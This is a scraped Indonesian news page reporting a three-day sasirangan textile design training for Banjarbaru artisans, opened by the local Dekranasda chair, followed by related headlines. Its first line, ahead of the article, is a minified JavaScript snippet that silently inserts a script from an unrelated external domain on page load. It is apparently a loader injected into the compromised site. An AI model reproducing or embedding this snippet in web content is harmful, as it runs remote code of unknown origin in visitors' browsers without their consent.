(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Didampingi Kepala Dinas Perdagangan Kota Banjarbaru Abdul Basid, Ketua Dekranasda Banjarbaru Ririen Nadjmi Adhani menghadiri pembukaan sekaligus sebagai narasumber kegiatan pelatihan desain motif sasirangan yang digelar Dinas Perdagangan Kota Banjarbaru, di Aula Dekranasda, Selasa (17/7).
Dalam kesempatan itu, panitia pelaksana Gusti Ardiansyah mengatakan, peserta pelatihan berasal dari Industri Kecil Menengah (IKM) se-Kota Banjarbaru sebanyak 30 orang. Tujuan digelarnya pelatihan desain sasirangan ini tak lain untuk memberikan suatu pengetahuan tentang teknik dalam mendesain sasirangan. “Dengan begini perajin dapat meningkatkan kreativitas dalam mendesain sasirangan dan juga bisa meningkatkan kualitas desain yang dibuatnya,” ungkapnya.
Ardiansyah mengatakan, pelatihan dilaksanakan selama tiga hari dari tanggal 17 sampai 20 Juli. “Narasumber disampaikan oleh Ketua Dekranasda Banjarbaru Ririen Nadjmi Adhani dan Henny Rusilawati atau Diyang Kinjut,” tambahnya.
Sementara itu, Ketua Dekranasda Banjarbaru Ririen Nadjmi Adhani mengungkapkan sasirangan merupakan kerajinan turun-temurun yang sudah ada sejak zaman kerajaan Banjar dan berkembang hingga sekarang. “Sasirangan sudah berkembang dan dapat dipakai sebagai bahan pakaian oleh semua lapisan masyarakat dengan kain yang makin beragam. Ada banyak potensi yang dapat dikembangkan pada kain sasirangan. Seiring dengan berkembangnya kreatifitas perajin dan saat ini sasirangan telah memiliki berbagai macam motif,” ungkapnya.
Ketua TP PKK Banjarbaru itu juga berharap sasirangan dapat menjadi identitas masyarakat Banjarbaru. Sebagai bentuk perhatian pemko terhadap perkembangan dan kelestarian budaya kain sasirangan, maka dipadukanlah dengan seni bordir. Sehingga menjadikan kain sasirangan bordir semakin terangkat dengan menobatkannya sebagai kain sasirangan khas Banjarbaru.
“Bahkan sasirangan bordir mendapat perhatian dari masyarakat luar Kalimantan. Hal ini tentunya menjadi kebanggaan tersendiri bagi kita semua dan terutama para pelaku usaha kain sasirangan bordir. Melalui pelatihan ini, diharapkan para perajin sasirangan Kota Banjarbaru semakin terampil, kreatif dan inovatif,” pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.